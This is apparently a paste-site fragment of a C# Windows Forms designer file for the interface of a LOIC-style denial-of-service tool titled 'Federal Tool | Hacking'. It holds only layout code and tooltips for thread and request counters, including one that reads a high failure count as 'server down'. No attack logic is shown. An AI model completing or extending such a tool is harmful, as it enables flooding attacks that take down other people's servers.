- this.lbFailed.Location = new System.Drawing.Point(648, 41);
- this.lbFailed.Name = "lbFailed";
- this.lbFailed.Size = new System.Drawing.Size(101, 24);
- this.lbFailed.TabIndex = 24;
- this.lbFailed.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- this.TTip.SetToolTip(this.lbFailed, "How many times (in total) the webserver didn\'t respond. High number = server down" +
- ".");
- //
- // lbRequested
- //
- this.lbRequested.Location = new System.Drawing.Point(541, 41);
- this.lbRequested.Name = "lbRequested";
- this.lbRequested.Size = new System.Drawing.Size(101, 24);
- this.lbRequested.TabIndex = 23;
- this.lbRequested.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- this.TTip.SetToolTip(this.lbRequested, "How many times (in total) a download has been requested");
- //
- // label22
- //
- this.label22.Location = new System.Drawing.Point(648, 16);
- this.label22.Name = "label22";
- this.label22.Size = new System.Drawing.Size(101, 24);
- this.label22.TabIndex = 22;
- this.label22.Text = "Failed";
- this.label22.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // label23
- //
- this.label23.Location = new System.Drawing.Point(541, 16);
- this.label23.Name = "label23";
- this.label23.Size = new System.Drawing.Size(101, 24);
- this.label23.TabIndex = 21;
- this.label23.Text = "Requested";
- this.label23.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // lbDownloaded
- //
- this.lbDownloaded.Location = new System.Drawing.Point(434, 41);
- this.lbDownloaded.Name = "lbDownloaded";
- this.lbDownloaded.Size = new System.Drawing.Size(101, 24);
- this.lbDownloaded.TabIndex = 20;
- this.lbDownloaded.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- this.TTip.SetToolTip(this.lbDownloaded, "How many times (in total) that a download has been initiated");
- //
- // lbDownloading
- //
- this.lbDownloading.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(12)))), ((int)(((byte)(24)))), ((int)(((byte)(32)))));
- this.lbDownloading.Location = new System.Drawing.Point(327, 41);
- this.lbDownloading.Name = "lbDownloading";
- this.lbDownloading.Size = new System.Drawing.Size(101, 24);
- this.lbDownloading.TabIndex = 19;
- this.lbDownloading.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- this.TTip.SetToolTip(this.lbDownloading, "How many threads that are downloading information from the server");
- //
- // lbRequesting
- //
- this.lbRequesting.Location = new System.Drawing.Point(220, 41);
- this.lbRequesting.Name = "lbRequesting";
- this.lbRequesting.Size = new System.Drawing.Size(101, 24);
- this.lbRequesting.TabIndex = 18;
- this.lbRequesting.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- this.TTip.SetToolTip(this.lbRequesting, "How many threads that are requesting information from the server");
- //
- // lbConnecting
- //
- this.lbConnecting.Location = new System.Drawing.Point(113, 41);
- this.lbConnecting.Name = "lbConnecting";
- this.lbConnecting.Size = new System.Drawing.Size(101, 24);
- this.lbConnecting.TabIndex = 17;
- this.lbConnecting.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- this.TTip.SetToolTip(this.lbConnecting, "How many threads that are trying to connect");
- //
- // lbIdle
- //
- this.lbIdle.Location = new System.Drawing.Point(6, 41);
- this.lbIdle.Name = "lbIdle";
- this.lbIdle.Size = new System.Drawing.Size(101, 24);
- this.lbIdle.TabIndex = 16;
- this.lbIdle.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- this.TTip.SetToolTip(this.lbIdle, "How many threads that are without work. Should be 0");
- //
- // label12
- //
- this.label12.Location = new System.Drawing.Point(434, 16);
- this.label12.Name = "label12";
- this.label12.Size = new System.Drawing.Size(101, 24);
- this.label12.TabIndex = 15;
- this.label12.Text = "Downloaded";
- this.label12.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // label13
- //
- this.label13.Location = new System.Drawing.Point(327, 16);
- this.label13.Name = "label13";
- this.label13.Size = new System.Drawing.Size(101, 24);
- this.label13.TabIndex = 14;
- this.label13.Text = "Downloading";
- this.label13.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // label14
- //
- this.label14.Location = new System.Drawing.Point(220, 16);
- this.label14.Name = "label14";
- this.label14.Size = new System.Drawing.Size(101, 24);
- this.label14.TabIndex = 13;
- this.label14.Text = "Requesting";
- this.label14.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // label15
- //
- this.label15.Location = new System.Drawing.Point(113, 16);
- this.label15.Name = "label15";
- this.label15.Size = new System.Drawing.Size(101, 24);
- this.label15.TabIndex = 12;
- this.label15.Text = "Connecting";
- this.label15.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // label16
- //
- this.label16.Location = new System.Drawing.Point(6, 16);
- this.label16.Name = "label16";
- this.label16.Size = new System.Drawing.Size(101, 24);
- this.label16.TabIndex = 11;
- this.label16.Text = "Idle";
- this.label16.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // tShowStats
- //
- this.tShowStats.Interval = 10;
- this.tShowStats.Tick += new System.EventHandler(this.tShowStats_Tick);
- //
- // pBanner
- //
- // this.pBanner.Image = Properties.Resources.LOIC;
- this.pBanner.Location = new System.Drawing.Point(12, 12);
- this.pBanner.Name = "pBanner";
- this.pBanner.Size = new System.Drawing.Size(184, 462);
- this.pBanner.TabIndex = 12;
- this.pBanner.TabStop = false;
- //
- // cBrowser
- //
- this.cBrowser.IsWebBrowserContextMenuEnabled = false;
- this.cBrowser.Location = new System.Drawing.Point(12, 12);
- this.cBrowser.MinimumSize = new System.Drawing.Size(20, 20);
- this.cBrowser.Name = "cBrowser";
- this.cBrowser.ScriptErrorsSuppressed = true;
- this.cBrowser.ScrollBarsEnabled = false;
- this.cBrowser.Size = new System.Drawing.Size(178, 459);
- this.cBrowser.TabIndex = 13;
- this.cBrowser.Visible = false;
- this.cBrowser.WebBrowserShortcutsEnabled = false;
- this.cBrowser.DocumentCompleted += new System.Windows.Forms.WebBrowserDocumentCompletedEventHandler(this.cBrowser_DocumentCompleted);
- //
- // frmMain
- //
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 14F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
- this.BackColor = System.Drawing.Color.Blue;
- this.ClientSize = new System.Drawing.Size(982, 486);
- this.Controls.Add(this.cBrowser);
- this.Controls.Add(this.pBanner);
- this.Controls.Add(this.groupBox3);
- this.Controls.Add(this.groupBox5);
- this.Controls.Add(this.label11);
- this.Controls.Add(this.groupBox4);
- this.Controls.Add(this.label10);
- this.Controls.Add(this.label3);
- this.Controls.Add(this.label5);
- this.Controls.Add(this.groupBox2);
- this.Controls.Add(this.groupBox1);
- this.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.ForeColor = System.Drawing.Color.LightBlue;
- this.MaximizeBox = false;
- this.Name = "frmMain";
- this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
- this.Text = "Federal Tool | Hacking";
- this.Load += new System.EventHandler(this.frmMain_Load);
- this.groupBox1.ResumeLayout(false);
- this.groupBox1.PerformLayout();
- this.groupBox2.ResumeLayout(false);
- this.groupBox2.PerformLayout();
- this.groupBox3.ResumeLayout(false);
- this.groupBox3.PerformLayout();
- ((System.ComponentModel.ISupportInitialize)(this.tbSpeed)).EndInit();
- this.groupBox4.ResumeLayout(false);
- this.groupBox5.ResumeLayout(false);
- ((System.ComponentModel.ISupportInitialize)(this.pBanner)).EndInit();
- this.ResumeLayout(false);
- }
- }
- internal class Properties
- {
- internal static object Resources;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement